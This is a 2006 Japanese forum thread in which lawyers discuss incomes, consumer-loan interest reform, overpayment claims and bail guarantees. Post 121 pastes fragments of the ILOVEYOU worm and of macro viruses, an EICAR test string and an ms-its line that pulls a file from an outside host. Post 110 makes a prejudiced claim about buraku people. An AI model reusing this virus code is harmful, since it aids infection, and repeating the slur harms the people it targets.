102 :無責任な名無しさん:2006/09/06(水) 13:56:12 ID:V/j/zsE/
霞ヶ関は,会議室不足より,エレベータを何とかしてくれ

103 :無責任な名無しさん:2006/09/06(水) 15:47:56 ID:mtgRJirm
>>76
年寄りはいつも若者を嘆く。

ピラミッドの時代からそれは変わらない。

下を嘆く以前に、自分が新人だった頃の同期がどうだったか思い出せ。

104 :無責任な名無しさん:2006/09/06(水) 15:55:54 ID:Dh9GTjKJ
クレサラするぐらいなら能力いらんわな

105 :無責任な名無しさん:2006/09/06(水) 17:58:50 ID:Bj9KHxlW
>>103
ピラミッドの壁面に,「最近の若い者はダメじゃ」みたいな落書きがあるらしいね。

106 :無責任な名無しさん:2006/09/06(水) 18:51:05 ID:1t3kFE90
優秀なのはいつの時代にもいるが、裾野が広がった分、そうでないののほうが増えたということだ

107 :無責任な名無しさん:2006/09/06(水) 19:03:18 ID:lYxOYH9s
>>91
既にパンク状態。
審尋不要,書面審理,但し弁護士だけ,にすればいい

108 :無責任な名無しさん:2006/09/06(水) 19:06:26 ID:R/1w3vn4
大阪青年司法書士会「建物明渡事件の実務と書式−相談から保全・訴訟・執行まで」(民事法研究会)

過払請求訴訟から賃借人追い出しへとフィールドを広げる司法書士

109 :貧乏とうさん:2006/09/06(水) 19:07:54 ID:Pii3XzA0
衝撃のシュミレーション−大阪弁護士会のある派閥の会誌から

船井総研の資料等をもとに分析すると平成30年における大阪の弁護士の平均年収(売上ではない)は300万円から1000万円だそうだ。
間をとると何と700万円! 現在のイソ弁と変らん。大阪の市バス運転手には年収1000万円クラスがざらにいるから、運転手にも及ばん。


110 :無責任な名無しさん:2006/09/06(水) 19:33:24 ID:1t3kFE90
でも部落民じゃないと市バスの運転手にはなれないよ

111 :無責任な名無しさん:2006/09/06(水) 19:38:24 ID:H6k33Mym
106 名前:無責任な名無しさん 投稿日:2006/09/06(水) 18:51:05 1t3kFE90
優秀なのはいつの時代にもいるが、裾野が広がった分、そうでないののほうが増えたということだ

110 名前:無責任な名無しさん 投稿日:2006/09/06(水) 19:33:24 1t3kFE90
でも部落民じゃないと市バスの運転手にはなれないよ

ハァ・・ エリート弁護士さん乙

112 :貧乏とうさん:2006/09/06(水) 19:40:23 ID:Pii3XzA0
これからの勝ち組、エリートコースは高卒後市役所に入ること。
ロー卒は、負け組、下層社会といわれるようになる。

113 :無責任な名無しさん:2006/09/06(水) 22:23:54 ID:nJUELkGd
すみません
四十歳前後で独身の♂弁さんって
探せば結構いらっしゃいますか?

114 :500:2006/09/06(水) 22:31:17 ID:nKuK5cQN
104 :無責任な名無しさん :2006/09/06(水) 15:55:54 ID:Dh9GTjKJ
クレサラするぐらいなら能力いらんわな

で、何ならいるんだい? 離婚?交通事故?相続?


115 :無責任な名無しさん:2006/09/06(水) 22:33:25 ID:pGdjFu3G
>>113
うちのグループにはゴロゴロいるぞ

116 :無責任な名無しさん:2006/09/06(水) 22:38:07 ID:6zmICRnE
>>113
 いることはいる。しかし「事実婚」をして,イルレジチメートチャイルドがいたりするいることが多い。
 海渡弁護士と福島瑞穂みたいな感じだよな。

117 :500:2006/09/06(水) 22:40:25 ID:nKuK5cQN
113 115
どっちもどっつちだ。やめとけ。

118 :無責任な名無しさん:2006/09/06(水) 23:10:30 ID:FJtAG45d
何で、俺、弁護士になんてなっちゃったんだろ。
向いていないってわかってたのに。
でも、なぜか、いつか自分が弁護士になるんじゃないかと思ってた。
本当に実現しちまった。

会社を一年で辞めちゃって、再就職先なくて、しょうがなくなったんだよ。
やっぱり向いてないよ。
もう、半年も引き篭もってるお。

119 :無責任な名無しさん:2006/09/06(水) 23:29:43 ID:csjOgxO+
そういや田舎に帰ると言って事務所を辞めたまま行方不明の人がいるな。

120 :無責任な名無しさん:2006/09/07(木) 00:14:22 ID:snSIG6kZ
漏れの同期でなぜか弁護士やめて田舎に行ってる人がいる
評判の悪い事務所に就職したと聞いたからなんか汚いことでもやらされたのかな

121 :厨房よけ:2006/09/07(木) 00:48:34 ID:S+HrHjoQ
>>2ё

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???


122 :無責任な名無しさん:2006/09/07(木) 03:06:05 ID:XdQE/ZMG
あたしは弁護士さん大好きなんですけど(一部の例外を除く)
どうやったら出会えますかね〜?四十前後〜の素敵な♂弁さんに♪
まじなんですけど…。

123 :無責任な名無しさん:2006/09/07(木) 08:40:52 ID:snSIG6kZ
サラ金のお陰で飯食ってる弁護士がどうしてサラ金の批判をするんだろ
罰当たりめ

124 :無責任な名無しさん:2006/09/07(木) 08:58:25 ID:+vmnFJGN
>>113
ゴロゴロいますよ。

125 :無責任な名無しさん:2006/09/07(木) 08:58:31 ID:sGm7sGuH
↑と業者の工作員装った非弁が騒いでいます。

126 :無責任な名無しさん:2006/09/07(木) 08:59:58 ID:+vmnFJGN
>>122
相談者として弁護士に近づくアプローチだけはやめとけ。
紹介してもらうしかないだろうな。

就職するのが一番かもしれない。

127 :無責任な名無しさん:2006/09/07(木) 09:53:46 ID:hLP3laOD
>114
 きっと、非ルーティンの仕事ばかりしている脳内エリート先生だろうw

 現在は金融機関やファンドから消費者金融業界に潤沢な資金が供給されているが、
今回の法改正で、資金の引き揚げが急速に進むう。必然的に業者は回収を進め、貸し
渋り、貸し剥がしが進む。不良債権のみならず正常債権も半ば強制的に償却される。
信用収縮が進むから、金融不安,景気減退の可能性が強い。
 宇都宮本部長代行は、貸し渋りにはセーフティネットの拡充で対応すべきと言う
のみだが、そんな税金の無駄遣いが許されるはずもない。執行部や熱心な活動家の
見解が説得力にかけるのは事実だな。


128 :無責任な名無しさん:2006/09/07(木) 10:36:24 ID:dPLwUuta
自民党は利息制限法区分を5倍に上げることでまとまりそうということだが、
それだと今より悪化するじゃんか。
50万未満まで20%、500万未満まで18%ってどうよコレ。
そんな改悪するくらいなら、最判でみなしを死文化させた今のままの方がなんぼかまし。

129 :無責任な名無しさん:2006/09/07(木) 12:09:49 ID:jRaBzS0s
サラ金を潰すのが遅すぎた。
大きくなりすぎたら潰せなくなる(ダイエーと同じ)。

130 :無責任な名無しさん:2006/09/07(木) 12:48:06 ID:0rt0qmue
日経社説

特例は設けずに、お金を借りられなくなる人には公的金融で対応すべきだという意見もあるが、
民間でできる取引を封じて公的金融を膨らませるのは問題だ。
多重債務者対策は金利下げに頼りすぎるべきではない。
貸金業者が過剰融資や不当な取り立てに走らないように当局は十分に監督するとともに、
ヤミ金融が増殖しないようにする対策も必要だ。
安易な借り入れを膨らませないよう自己規律が働くようにする消費者教育も重要だ。

131 :無責任な名無しさん:2006/09/07(木) 13:37:26 ID:ocoqgxhC
>>130
貸金業者が、不当な利益を受け取らないよう貸金業者への監督を強めることも重要じゃないですかね。
日経は今の貸金業者がやってることが違法行為であることを理解してるのかね。

132 :無責任な名無しさん:2006/09/07(木) 13:45:48 ID:+vmnFJGN
日経は個人個人の幸せよりも国全体の景気を重視しているんでしょうな。
だからサラ金はつぶすなと。

133 :無責任な名無しさん:2006/09/07(木) 15:19:39 ID:+q2gyVij
俺の同期も行方不明の弁護士がいるな
やはり評判の悪い事務所だった
生きているといいが・・・

134 :無責任な名無しさん:2006/09/07(木) 15:49:42 ID:H6tFlbSm
特例なんて設けられたら,また勉強せねばならねーじゃん。
そんなの面倒なので,一律に「年利25パーセント!」とかにして欲しい。
20と29.2のだいたいの間を取って。

135 :無責任な名無しさん:2006/09/07(木) 17:24:26 ID:4htElDLF
[図解] 行政書士という事務弁護士の時代 立花 正人

↑これってどうよ?

136 :無責任な名無しさん:2006/09/07(木) 18:29:13 ID:0087pZUm
>>135
弁護士会がなめられてるんだろ。
どうせ文句を言ってこないんだと。
義務や負担ばかり押しつけて会員の権利を守らない団体だよまったく。


137 :無責任な名無しさん:2006/09/07(木) 18:42:02 ID:yKgC0CCm
みなし弁済が成立しないことを知りながら,これを秘して,契約者から返済を受けられない金銭を利息と称して取得した場合に,詐欺罪は成立しないのか。
日弁の消費者委員会にて,本気で告訴告発を検討してほしい。
提案したら2ちゃんねらーだとバレるが。camで「うpします」とか書いてる先生がんばってくれ。

138 :無責任な名無しさん:2006/09/07(木) 18:43:18 ID:yKgC0CCm
法改正までに,しっかり過払い回収して,サラ金をつぶしたほうがいい。


139 :無責任な名無しさん:2006/09/07(木) 18:44:14 ID:0087pZUm
>>137
俺も常日頃そう思ってる

140 :無責任な名無しさん:2006/09/07(木) 18:45:15 ID:yKgC0CCm
違法行書はガンガン告発しようぜ!
「弁護士」と呼称したら明らかに弁護士法違反。



141 :無責任な名無しさん:2006/09/07(木) 18:49:24 ID:r7H01XiL
>>137
民事でも詐欺→不法行為→過払い金に加えて慰謝料請求できないかな。
あと、過払い請求で、説明義務違反→債務不履行という構成を取ったら6%の商事利率取りやすくなるかなぁ。


142 :無責任な名無しさん:2006/09/07(木) 19:02:11 ID:snSIG6kZ
おまいらサラ金なくなったらメシ食えなくなるくせに

143 :無責任な名無しさん:2006/09/07(木) 19:20:46 ID:yKgC0CCm
闇金が増えたら闇金対策で食う。
闇金相手なら元本も返す必要はないから、今よりずっと割が良い。
貸し渋りで破産が増えたら破産で食う。
サラ金の破産でも食えそうだな。ハッハッハ!

144 :無責任な名無しさん:2006/09/07(木) 19:24:03 ID:m0pJPDT9
>>142
事情を何も知らない非弁が煽っても無駄だよ(ゲラ

145 :500:2006/09/07(木) 20:58:03 ID:VkJWH2rC
>143
非弁乙

146 :無責任な名無しさん:2006/09/07(木) 21:00:44 ID:6wqsYZ9T
>>143
闇金手だしてる奴からどうやって報酬取るんだよ

147 :500:2006/09/07(木) 21:01:34 ID:VkJWH2rC
>143
誰からどうやって弁護士費用もらうんだよ、馬鹿

148 :無責任な名無しさん:2006/09/07(木) 21:05:52 ID:dPLwUuta
>>141
現存利益として18%上乗せっていう議論もあるらしいよ。
貸金業者は不当利得金を少なくとも利息制限法内の利息で運用していた。
だからその利息分は現存利益として返還せよって話があるらしい。
そんな裁判例でてんの?

149 :無責任な名無しさん:2006/09/07(木) 21:13:22 ID:VkJWH2rC
>148
じゃあ、不当利得した金で宝くじ購入して1億円当選したら1億円返すのか?
あんたまさか弁じゃないよな

150 :無責任な名無しさん:2006/09/07(木) 21:17:31 ID:0087pZUm
>>148
やってる先生はいるけど判決は聞いたことないな。
>>149
非弁乃至勉強不足

151 :無責任な名無しさん:2006/09/07(木) 21:32:44 ID:XdQE/ZMG
キャバクラ嬢髪形裁判勝訴の弁護士さんって独身ですか?
ご存知の方いらっしゃったら教えてください。

152 :無責任な名無しさん:2006/09/07(木) 21:34:47 ID:VkJWH2rC
>>150
どんな勉強だ?www

153 :無責任な名無しさん:2006/09/07(木) 21:49:17 ID:qoMBv888
>>146
>>147
ヤミ金から取り返すんだよ。
お前ら20世紀から進歩してないのかよ。

154 :無責任な名無しさん:2006/09/07(木) 21:58:03 ID:m0pJPDT9
>>153
そんなことができると勘違いしているアンタは非弁

刑事事件化して警察の手を借りなければ取り返せないのわからんだろうなー

155 :無責任な名無しさん:2006/09/07(木) 22:00:48 ID:qoMBv888
>>154
無能

156 :無責任な名無しさん:2006/09/07(木) 22:11:35 ID:yKgC0CCm
>>154
ヤミ金からはたまに回収できる。
「○○万円を当職の下記口座に振り込め,さもないと刑事告訴するぞ」という受任通知を送ると,30件に1件くらいは振り込んでくることもある。

依頼者からの報酬は,扶助でもらえばいいだろ。



157 :無責任な名無しさん:2006/09/07(木) 22:43:41 ID:m0pJPDT9
>>156
受任通知は3分の1が,宛所に該当ありません,で戻ってくる_| ̄|○

158 :148:2006/09/07(木) 23:32:08 ID:dPLwUuta
>>149
真剣にレスしてしまうが、あなたの言う宝くじは貸金業者が宝くじ購入してる
とも思えないがw、宝くじ当選金を利得とはまぁ言えないだろう。
18%って議論は運用利益の蓋然性あると言えそうだからそれなりに考えさせられるわけよ。
俺も過払って詳しくないから詳しいことは言えないけど、消費者系の先生方はこういう
議論をしている。勉強不足だと150さんがおっしゃっているのはこういう意味だよ。
実は、現存利益に加えて悪意の不当利得者としての利息金も請求するって話もあるんだけどな。
時効間近の過払いの場合、最大で過払い元金の3倍以上の請求額になるな。
商売っけから過払いにはまる若手が増えるのも分かるなw


159 :無責任な名無しさん:2006/09/08(金) 01:50:03 ID:6PEPyM55
殺人ドライバーって書籍がPDFで公開されたんだけど、読んで損はないと思う。
http://homepage2.nifty.com/YPO/

160 :無責任な名無しさん:2006/09/08(金) 09:03:01 ID:fcWqztPJ
>>156
仮差しはせんのか

161 :無責任な名無しさん:2006/09/08(金) 09:23:33 ID:QHfMgnnq
今はみんな忙しいから、なかなか仮差しまで手が回らないだろうけど、
弁護士が増えて暇な新人が増えたら、ヤミ金対策に十分な時間を
とれるやつらが出てくるんじゃないかな。

経験からいうと、しつこくしつこく電話やfaxで請求するとそれだけヤミ金
が返してくる割合が高くなる。受任通知一通や電話一本で返ってくると
考えるのは甘すぎ。

162 :無責任な名無しさん:2006/09/08(金) 09:25:20 ID:cqOtyrC3
>>161
たまに,お寿司の形で返してくるのが困ったもんだけど
おまけにお金は弁護士が払う

163 :無責任な名無しさん:2006/09/08(金) 09:26:37 ID:cqOtyrC3
ヤミ金口座の借り差しは勉強になるそうだ。
保証金の取り戻しは教科書通りにやらないといけないらしい

164 :149:2006/09/08(金) 09:34:15 ID:feztXOq9
>>158
じゃあ経営が下手でサラ金が貸し倒れで損失を出している場合は? 18パーセントの運用益
をあげるとしても、経費(人件費、宣伝費等)がかかっているはずでだが、それは?
とても正気の議論とは思えん。まあ、解釈論だからどう解釈しようと自由だがなwww
やはり合格者はせいぜい700人にしておくべきだったと思うよ。

165 :無責任な名無しさん:2006/09/08(金) 09:37:05 ID:cqOtyrC3
>>164
貸出金利は何パーセントでしょう?
700人時代から1500人時代まで長いこと受験生やってお疲れさんです。

消費者系の人たちの,最初は荒唐無稽な主張が,後に主流になっていく

というのは法曹界では良くあることでしょ。おわかり?

166 :無責任な名無しさん:2006/09/08(金) 09:40:17 ID:WmDP0scb
>>164
非弁の業者の方?はお引取りくださいw
弁でも冗談ネタにマジレスはねーよと。

167 :149:2006/09/08(金) 09:47:04 ID:feztXOq9
>>163
勉強になるのはいいが、ペイして儲けにはなるのか?

168 :無責任な名無しさん:2006/09/08(金) 09:58:50 ID:Oawfkn/k
>>164 自分で新しい流れを作る,っていうことを知らないんだね。かわいそうに。

169 :149:2006/09/08(金) 10:01:08 ID:feztXOq9
>>165 8消費者系の人たちの,最初は荒唐無稽な主張が,後に主流になっていく
というのは法曹界では良くあることでしょ。おわかり?

すばらしい論理だ。テレビの超能力等の討論番組で追い詰められた信奉者が「でも、
未だ科学で解明されないものがあるのも事実でしょう」と叫ぶな。そのとおりだが
だからといって超能力等がある何の証明にはならない。論理の基礎


170 :無責任な名無しさん:2006/09/08(金) 10:03:43 ID:WmDP0scb
スレタイが変な部外者を召還してしまいましたねw

171 :無責任な名無しさん:2006/09/08(金) 10:12:11 ID:cqOtyrC3
>>167
よほど生まれが卑しいんだね。金儲けだけしてれば。
>>169
あの書き込みを18パーセントの主張が正しいことの論理的根拠であるとでも解釈なされましたか?
日本語不自由ですよ。
消費者系がいろいろやってることを評価すべきってくらいの書き込みなんだけどバカじゃねえの。

172 :無責任な名無しさん:2006/09/08(金) 10:36:20 ID:YO3wU8V6
国選の被告人からお呼び出し(警察から電話)
急いで行ってみると・・・

お金がないんで貸して下さい。中でもお金が必要なんです!

(゚Д゚)

173 :無責任な名無しさん:2006/09/08(金) 11:02:55 ID:QHfMgnnq
>>172
おれ、当番で出かけたら、そいつ、もう国選がついてて、
なんで呼んだの?って聞いたら、「保釈の保証書書いてくれ。
国選の弁護士には断られた。」って言われたことあるよ。

174 :無責任な名無しさん:2006/09/08(金) 11:20:45 ID:WmDP0scb
当番で逝ったらですね

 刑事がラジオで自白を強要する
 ほら先生にも聞こえるでしょ
 奴ら接見室までラジオ流しやがる
 警察と県知事を人権侵害で訴えてくれ

 ( ゚Д゚)ポカーン

175 :無責任な名無しさん:2006/09/08(金) 11:50:23 ID:cqOtyrC3
>>173
ほぅ。
当番と国選がバッティングねぇw
おまけに保釈の保証書とは


どこの国?

176 :無責任な名無しさん:2006/09/08(金) 12:08:03 ID:QHfMgnnq
>>175
あれ、からまれてるのかな。

当番と国選のバッティングがなぜ起きたのなんか知りませんよ。
こっちは弁護士会から頼まれていっただけなんだから。

保釈に関しては、刑事訴訟法94条3項に、「裁判所は、有価証券又は裁判所の適当と認める
被告人以外の者の差し出した保証書を以て保証金に代えることを許すことができる。」という
規定があるんだが、知らなかったのかな。

177 :無責任な名無しさん:2006/09/08(金) 12:10:34 ID:feztXOq9
>>175
やれやれ保釈の保証書も知らない弁護士がいるとはな。困ったもんだ。
やっぱり合格者は700人にしとくべきだね。

178 :無責任な名無しさん:2006/09/08(金) 12:10:47 ID:+7+VgaeR
俺、国選で接見に言ったら、もう私選がついてて、
なんで呼んだの?って聞いたら、「よくわからないけど、
とりあえず国選希望と書いてみた。」って言われたことあるよ。
接見1回分の日当はもらった(2万くらい)。

179 :無責任な名無しさん:2006/09/08(金) 12:16:45 ID:feztXOq9
>>175
なんだ165、171と同じ人かwww

180 :無責任な名無しさん:2006/09/08(金) 12:16:52 ID:cqOtyrC3
当番の時期と国選の時期が違うのを勉強しようね

181 :無責任な名無しさん:2006/09/08(金) 12:23:52 ID:QHfMgnnq
>>180
だから、その文句はおれに派遣を要請した弁護士会に言ってくれ。
制度上そういうことはないはずだっていっても、事実そういうことが
起きてるんだから仕方がない。
公務員や大企業が違法なことをするはずがないって頭から決めつ
けてる裁判所みたいなやつだな。

182 :無責任な名無しさん:2006/09/08(金) 12:25:47 ID:feztXOq9
>>180
非弁乙カクテーイ

弁なら勉強しなくともそんなこと当たり前
実務は受験生のお勉強どおりはいかないの
手違いというのは幾らでもあるの


183 :無責任な名無しさん:2006/09/08(金) 12:35:30 ID:eaMPIKpM
>>182
別に日ベンだからどうちゅうのかい

184 :無責任な名無しさん:2006/09/08(金) 12:43:29 ID:YO3wU8V6
>>178
>>178
俺もあるよ。接見一回と記録閲覧で4万もらった。

>>180
俺も、国選付いてる被告人からの依頼で当番行ったことあるよ。
保証書を知らずに書き込んで、まだ書き込み続けられる図太さはうらやましい

185 :第三者:2006/09/08(金) 12:43:44 ID:Oawfkn/k
>>182
この件の議論は君に分がある。
サラ金の議論で負けてるから1勝1敗になったね。

186 :無責任な名無しさん:2006/09/08(金) 12:46:23 ID:feztXOq9
ありがとう、保証書も手違いも理解できない非弁に負けて?うれしいよ。

187 :無責任な名無しさん:2006/09/08(金) 12:51:03 ID:FAP+v/d3
許永中の弁護人が保証書書いてえらい目にあったってのは本当なの?

188 :無責任な名無しさん:2006/09/08(金) 12:54:19 ID:feztXOq9
本当だ、某元裁判官だ、人格者だったな。

189 :無責任な名無しさん:2006/09/08(金) 13:13:21 ID:ZfPrsVdi
当時は,高い報酬に釣られた自業自得位にしか思わなかったが,
実際かわいそうだな
7人で3億くらい負担したんだっけ?払込みは済んだのだろうか・・・ 

190 :無責任な名無しさん:2006/09/08(金) 13:41:43 ID:wR/jGnA9
金曜日。
やる気ナッシング。
このまま平穏に午後の時間が過ぎることを望む。
そして,明日に出勤だぁ〜。

191 :無責任な名無しさん:2006/09/08(金) 13:49:49 ID:feztXOq9
済んだらしいよ。退官後元刑事裁判官として活躍されると思ったのだが、本当に残念だ。
まぁ、弁は人に利用されないよう何時も何時も細心の注意を払わないといけないね。因果
な商売だよね。


192 :無責任な名無しさん:2006/09/08(金) 14:00:49 ID:Zw3GGVx7
しかし弁護士も相談とか言って金儲けすぎ!
無料相談会とか言って、最初の30分過ぎると60分1万円とか
どっかのボッタクリバーか!!
行列の出来る相談所に時々出てる石丸は、三年で儲けてサンシャインに
事務所移転したとか言ってるけど、債務者の相談でそんなに儲けるな!!
弁護士は弱者救済と言ってるど、サラ金よりあこぎに儲けってるでしょ。

193 :無責任な名無しさん:2006/09/08(金) 15:13:28 ID:WmDP0scb
>>192
手相拝観より安いんだけどねw

194 :無責任な名無しさん:2006/09/08(金) 17:26:39 ID:cqOtyrC3
いつの間にか保証書知らないことになっている
国選と当番のバッティングは正直初めて知った。

非弁かあ。俺。

195 :無責任な名無しさん:2006/09/08(金) 17:27:17 ID:eaMPIKpM
>>193
そんなやつに限って細木には30万くらい払うんだろうな

196 :無責任な名無しさん:2006/09/08(金) 17:52:43 ID:zgesddPi
依頼してる弁護士に、保証書のはもうなくなったって言われて、保釈支援協会紹介されたんですが。
騙されてますか。

197 :無責任な名無しさん:2006/09/08(金) 18:31:52 ID:UEaggtup
保証書で認められる庁ってそんなにあるの?
前に、200万準備してて250万で決定出されたとき、うちの庁では
保証書認めてませんから、差額分は金銭で用意してって裁判官に言われたことある。
だから、保証書で保釈申請したことない。
まあ、例え保証書でOKであっても、やる気はないけどさ

198 :無責任な名無しさん:2006/09/08(金) 18:38:21 ID:BbWN/DQE
保証書なんて知らんほうがいいよ
依頼者との貸借に準ずるから懲戒になってもおかしくない

199 :無責任な名無しさん:2006/09/08(金) 19:06:56 ID:0hA0H+Qc
188 :無責任な名無しさん :2006/09/08(金) 12:54:19 ID:feztXOq9
本当だ、某元裁判官だ、人格者だったな。

私は、刑弁教官から「私選でも、保釈保証書は絶対に出すものではない。」
と教わった。
人格者かも知らんが、生の刑事事件を知らないくせに、
金に釣られたヤメ判がやけどをしたとしか思えない。




200 :無責任な名無しさん:2006/09/08(金) 19:13:42 ID:cqOtyrC3
保証書出して欲しかったら,その分の金を持ってこい

と言うとあきらめるよ。

と前に教わったことがある。

201 :無責任な名無しさん:2006/09/08(金) 20:05:09 ID:lUcLWB8W
私が愛人になりたい弁
◎矢田T男先生
◎熊崎△☆先生
◎内田☆敏先生

202 :無責任な名無しさん:2006/09/08(金) 20:06:31 ID:lUcLWB8W
その中でもNo.1は
矢田次☆先生

203 :無責任な名無しさん:2006/09/08(金) 21:40:20 ID:SEahlxhW
>>199
違う、他の弁を信用したんだ

204 :無責任な名無しさん:2006/09/08(金) 21:53:09 ID:SEahlxhW
>>http://www.nikkei.co.jp/news/main/20060908AT2C0800O08092006.html
与謝野馨経済財政・金融担当相は8日の閣議後会見で、貸金業規制法を改正して上限金利を引き下げた後
に例外的に高金利を認める「特例措置」の適用期間を巡り、最大5年としていた従来案を3年程度に短縮する
可能性を示した。上限金利の引き下げ時期については、業界のシステム対応などを考慮し「4年後が常識的な線だ」
と述べ、法成立から4年の経過期間を置いて最短で2010年に導入するのが妥当との考えを示した。

おとしどころだ。これで決まりだ。妥当な線かな

205 :無責任な名無しさん:2006/09/08(金) 22:18:54 ID:gBOxJI+e
ということは、今後4年間は過払いが発生し続けるということですか?
特例措置の潜脱があればさらに3年もあり得る?

206 :無責任な名無しさん:2006/09/08(金) 22:30:23 ID:SEahlxhW
>>205
4年ではない。4年間は現在の金利で貸せるのだから、過払いの発生は4年以上続く,
7、8年かな

207 :無責任な名無しさん:2006/09/08(金) 22:40:03 ID:X7NYQTiy
 私は,事件の紹介者(被告人の知人)の地方議会議員さんの保証書で
保釈してもらったことがある。実印の押捺・印鑑証明添付・所得証明の
提出が求められた。
 当該弁護人(弁護士)が保証書を書いて,全額没取(この場合は,保証
の履行か?)を食らったというのは,今でも伝説(教訓)になっている。
 なお,弁護士(弁護人)が保証書を差し入れる場合,所得証明提出が要求
されるかどうかは知らないが,怖くて出せないよね。

208 :第4者:2006/09/08(金) 22:45:23 ID:SEahlxhW
>>194

194の控訴は棄却する


209 :無責任な名無しさん:2006/09/08(金) 23:04:05 ID:sEBsz4Wk
ID:cqOtyrC3

↑これはひどい・・・

何期ですか?

210 :無責任な名無しさん:2006/09/08(金) 23:17:26 ID:bKJfxRZ7
土日にすること

(1)ややこしい長大事件の最終準備書面的な準備書面 (ぜったい)
(2)専門家に相談にいったときのレポート (ぜったい)
(3)偉い先生から借りたDVD2巻の視聴 (できれば)
(4)示談事件の受任通知といちゃもん的なお返事 (できれば)
(5)床屋 (願わくば)
(6)動物病院 (ぜったい)

211 :無責任な名無しさん:2006/09/08(金) 23:19:05 ID:gBOxJI+e
>>209
60期じゃない? ただの(旧試験)受験生かも。

212 :第4者:2006/09/08(金) 23:19:15 ID:SEahlxhW
>>209
司法「改革」の成果だ。無残。


213 :無責任な名無しさん:2006/09/08(金) 23:50:24 ID:thn6VFMV
すみません。当方非弁ですが、質問します。

この前裁判を傍聴しに行ったら、司法修習生がいました。

今司法修習生は、国費の支給を受けていますが、新司法試験以降国費支給はなくなるのですか?

214 :無責任な名無しさん:2006/09/09(土) 00:20:15 ID:igA00flM
>>210
こないだの床屋行きたかった人?
まだ、行けなかったんだ。

215 :無責任な名無しさん:2006/09/09(土) 00:29:27 ID:r/iS/hh4
>210
この中なら動物病院を最優先w

216 :無責任な名無しさん:2006/09/09(土) 05:38:49 ID:cLYHFOvu
>>213
来年から貸与制になるらしいよ(航空大学校と同じ)。
ただそういうことは修習生スレ(司法試験イタ)で質問してね。

217 :無責任な名無しさん:2006/09/09(土) 05:44:16 ID:0GOqo+bG
なんか今度は貸金関係で荒れてるみたいだな
法テラス同様スレタイにはタブーか

218 :無責任な名無しさん:2006/09/09(土) 07:13:00 ID:jpuVnw40
ところで保釈保証ってどうなんですか?
怪しそうだから一切断っているけど。

219 :無責任な名無しさん:2006/09/09(土) 09:17:37 ID:uRgSZuGp
>>218
一度やってみれ

220 :無責任な名無しさん:2006/09/09(土) 10:14:39 ID:VhysEcfq
一部否認事件で弁護側罪体立証が終わった段階で
保釈請求→地裁が保釈許可決定→検事が抗告
してきました。(次回で情状立証、論告弁論で結審)
さて、高裁はどういう判断をするやら。

最近東京地裁は身体拘束についてわりとまじめに考えるようになってきた
(いい意味で)気がします。

221 :無責任な名無しさん:2006/09/09(土) 14:38:41 ID:SoZHn9S/
おれ、中日ファンなんだけどさ。
今年、優勝逃したら、一審、高裁と勝ったのに、最高裁でひっくり返されたような気分に
なるだろうな。経験ないけど。

222 :無責任な名無しさん:2006/09/09(土) 15:29:51 ID:tYl4H9hi
俺の地方は検察の言うなりだ
弁護士も争わないけど

223 :無責任な名無しさん:2006/09/09(土) 17:43:01 ID:9Ysgme+D
[司法]若手弁護士の年収って@一弁会報9月号11頁

従前はイソ弁の年俸は,「600万円が基準だったが,今は下がっている」そうです。
600万以下が「すごく出てきた」そうです。
さらに,弁護士会費なども自己負担のようですが,事務所の経費の負担はしなくてすむから,
イソ弁はいいなという感想もありました。

224 :無責任な名無しさん:2006/09/09(土) 17:43:33 ID:9Ysgme+D
既に59期の段階で、月収30万ボーナスなしという提示が少なからぬ事務所でなされています。
東京でも一般民事の事務所では年俸400万程度のオファーが増えてきています。
就職活動中に集めた情報だと中規模の事務所でも年俸500万程度の事務所も増えてきているようで、
今後3000人時代になると求人のかなりの部分は年俸500万以下、しかも就職浪人が毎年800人程度
発生することになりそうです。
せっかく司法試験に受かったのに今後は各種費用をさっ引くと手取りで10数万しか残らないという
新人弁護士が増えそうです。

225 :無責任な名無しさん:2006/09/09(土) 18:59:55 ID:0GOqo+bG
800人じゃすまんだろ。毎年千人以上はあぶれる。
就職できなくても弁護士会が月2件国選を配給すれば生活ぐらいできるだろ。

226 :無責任な名無しさん:2006/09/09(土) 19:16:30 ID:wXch2tCM
そのうち、事務所なし(事務所は自宅兼)で、弁護士としての業務は国選を
月に3,4件回す程度。あと被告人が執行猶予後の自己破産。
片手間にバイトして月収30〜40万円で生活をしていくような弁護士も現れる
のではないのかな。



227 :無責任な名無しさん:2006/09/09(土) 19:32:53 ID:Vt0hgcT5
・・・妙にまったりしてて魅力的な生活に見えるのは気のせいだろうか。

228 :無責任な名無しさん:2006/09/09(土) 19:41:44 ID:OkIe9WwZ
高山一家のFAXによると東弁会員4841人のうち被疑者国選の申込者数が
9月4日の時点でわずか426人、10%にも満たないとは…
東弁はいい単位会だな。いや皮肉じゃなくて。


国選弁護拡大課題なお 日弁連シンポ・福岡 負担増、弁護士も不足
http://www.nishinippon.co.jp/nnp/national/20060909/20060909_001.shtml

229 :無責任な名無しさん:2006/09/09(土) 20:23:02 ID:j1pHhwW2
